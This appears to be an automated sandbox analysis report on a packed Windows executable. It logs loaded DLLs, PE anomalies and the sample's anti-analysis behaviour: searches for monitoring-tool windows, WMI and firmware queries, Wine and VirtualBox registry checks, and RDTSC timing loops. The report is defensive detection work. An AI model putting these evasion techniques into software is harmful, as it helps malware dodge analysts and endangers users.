Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: j6ks0Fxu6t.exe

Static file information: File size 2897408 > 1048576

Source: j6ks0Fxu6t.exe

Static PE information: Raw size of jdbjkrtv is bigger than: 0x100000 < 0x299a00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe

Unpacked PE file: 0.2.j6ks0Fxu6t.exe.570000.0.unpack :EW;.rsrc :W;.idata :W;jdbjkrtv:EW;jgmfexky:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;jdbjkrtv:EW;jgmfexky:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: j6ks0Fxu6t.exe

Static PE information: real checksum: 0x2d348e should be: 0x2c6533

Source: j6ks0Fxu6t.exe	Static PE information: section name:
Source: j6ks0Fxu6t.exe	Static PE information: section name: .rsrc
Source: j6ks0Fxu6t.exe	Static PE information: section name: .idata
Source: j6ks0Fxu6t.exe	Static PE information: section name: jdbjkrtv
Source: j6ks0Fxu6t.exe	Static PE information: section name: jgmfexky
Source: j6ks0Fxu6t.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Code function: 0_3_0567BBB1 push cs; retf	0_3_0567BBB3
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Code function: 0_3_0567BBB1 push cs; retf	0_3_0567BBB3
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Code function: 0_3_0567BBB1 push cs; retf	0_3_0567BBB3
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Code function: 0_3_0567BBB1 push cs; retf	0_3_0567BBB3
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Code function: 0_3_00FE69FC pushfd ; retf	0_3_00FE6B13
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Code function: 0_3_00FE66F4 push ds; retf	0_3_00FE6723
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Code function: 0_3_00FEFCF1 push ecx; retf	0_3_00FEFCF3
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Code function: 0_3_00FEFCF1 push ecx; retf	0_3_00FEFCF3
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Code function: 0_3_00FEC6CE push eax; ret	0_3_00FEC739
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Code function: 0_3_00FEC6CE push eax; ret	0_3_00FEC739
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Code function: 0_3_00FE949C push ecx; retf	0_3_00FE94CB
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Code function: 0_3_00FE6991 pushfd ; retf	0_3_00FE6B13
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Code function: 0_3_00FE6488 push ecx; retf	0_3_00FE64BB
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Code function: 0_3_00FE3179 push esp; retf	0_3_00FE317A
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Code function: 0_3_00FEC65C push eax; ret	0_3_00FEC739
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Code function: 0_3_00FEC65C push eax; ret	0_3_00FEC739
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Code function: 0_3_00FF034A pushfd ; retf	0_3_00FF034B
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Code function: 0_3_00FF034A pushfd ; retf	0_3_00FF034B
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Code function: 0_3_00FEC740 push ds; retf	0_3_00FEC743
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Code function: 0_3_00FEC740 push ds; retf	0_3_00FEC743
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Code function: 0_3_00FECB1D pushfd ; retf	0_3_00FECB33
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Code function: 0_3_00FECB1D pushfd ; retf	0_3_00FECB33
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Code function: 0_3_00FEFCF1 push ecx; retf	0_3_00FEFCF3
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Code function: 0_3_00FEFCF1 push ecx; retf	0_3_00FEFCF3
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Code function: 0_3_00FEC6CE push eax; ret	0_3_00FEC739
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Code function: 0_3_00FEC6CE push eax; ret	0_3_00FEC739
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Code function: 0_3_00FE949C push ecx; retf	0_3_00FE94CB
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Code function: 0_3_00FEC65C push eax; ret	0_3_00FEC739
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Code function: 0_3_00FEC65C push eax; ret	0_3_00FEC739
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Code function: 0_3_00FF034A pushfd ; retf	0_3_00FF034B
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Code function: 0_3_00FF034A pushfd ; retf	0_3_00FF034B

Source: j6ks0Fxu6t.exe

Static PE information: section name: entropy: 7.979440253511902

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 5C92B5 second address: 5C92B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 5C92B9 second address: 5C92C3 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA3EC8736D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 5C92C3 second address: 5C92CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7466AB second address: 7466C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA3EC8736E0h 0x00000009 popad 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7466C4 second address: 7466CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7466CC second address: 7466D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7466D0 second address: 7466DC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 74586E second address: 74587F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 ja 00007FA3EC8736D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebx 0x0000000d pushad 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 74587F second address: 745888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 745888 second address: 74588C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 74588C second address: 7458A6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA3EC7880C0h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7458A6 second address: 7458AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 745A12 second address: 745A16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 745A16 second address: 745A1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 745A1A second address: 745A39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FA3EC7880C5h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 745A39 second address: 745A54 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA3EC8736E1h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 745A54 second address: 745A5E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 745A5E second address: 745A62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 745CEC second address: 745D06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FA3EC7880C3h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 745D06 second address: 745D0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 745D0A second address: 745D24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FA3EC7880C1h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7498DB second address: 7498F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA3EC8736E8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7498F7 second address: 7498FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 749A49 second address: 749A87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007FA3EC8736D8h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 00000018h 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 mov edx, dword ptr [ebp+122D2C57h] 0x00000028 lea ebx, dword ptr [ebp+12454840h] 0x0000002e mov edx, 063E018Ch 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 749CB9 second address: 749D26 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA3EC7880B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jnl 00007FA3EC7880B6h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 jmp 00007FA3EC7880BFh 0x0000001b mov eax, dword ptr [esp+04h] 0x0000001f pushad 0x00000020 jno 00007FA3EC7880BCh 0x00000026 jne 00007FA3EC7880C1h 0x0000002c jmp 00007FA3EC7880BBh 0x00000031 popad 0x00000032 mov eax, dword ptr [eax] 0x00000034 pushad 0x00000035 push edi 0x00000036 jmp 00007FA3EC7880C8h 0x0000003b pop edi 0x0000003c push eax 0x0000003d push edx 0x0000003e jp 00007FA3EC7880B6h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 749D26 second address: 749D75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push esi 0x0000000c push eax 0x0000000d jc 00007FA3EC8736D6h 0x00000013 pop eax 0x00000014 pop esi 0x00000015 pop eax 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007FA3EC8736D8h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 00000015h 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 stc 0x00000031 lea ebx, dword ptr [ebp+12454854h] 0x00000037 and di, 24DAh 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007FA3EC8736DDh 0x00000044 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 75B17B second address: 75B17F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 75B17F second address: 75B189 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 75B189 second address: 75B1A6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FA3EC7880C3h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 768389 second address: 768391 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 768391 second address: 768397 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7663E0 second address: 7663EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FA3EC8736D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7663EA second address: 7663F4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 76652A second address: 766538 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA3EC8736D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 766538 second address: 76654A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 je 00007FA3EC7880B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 76654A second address: 766553 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7666E9 second address: 76670E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA3EC7880C7h 0x0000000d jbe 00007FA3EC7880B6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7669AE second address: 7669C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007FA3EC8736DEh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 76748D second address: 767491 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 767491 second address: 7674A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC8736E1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 7675C8 second address: 7675DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jmp 00007FA3EC7880BDh 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
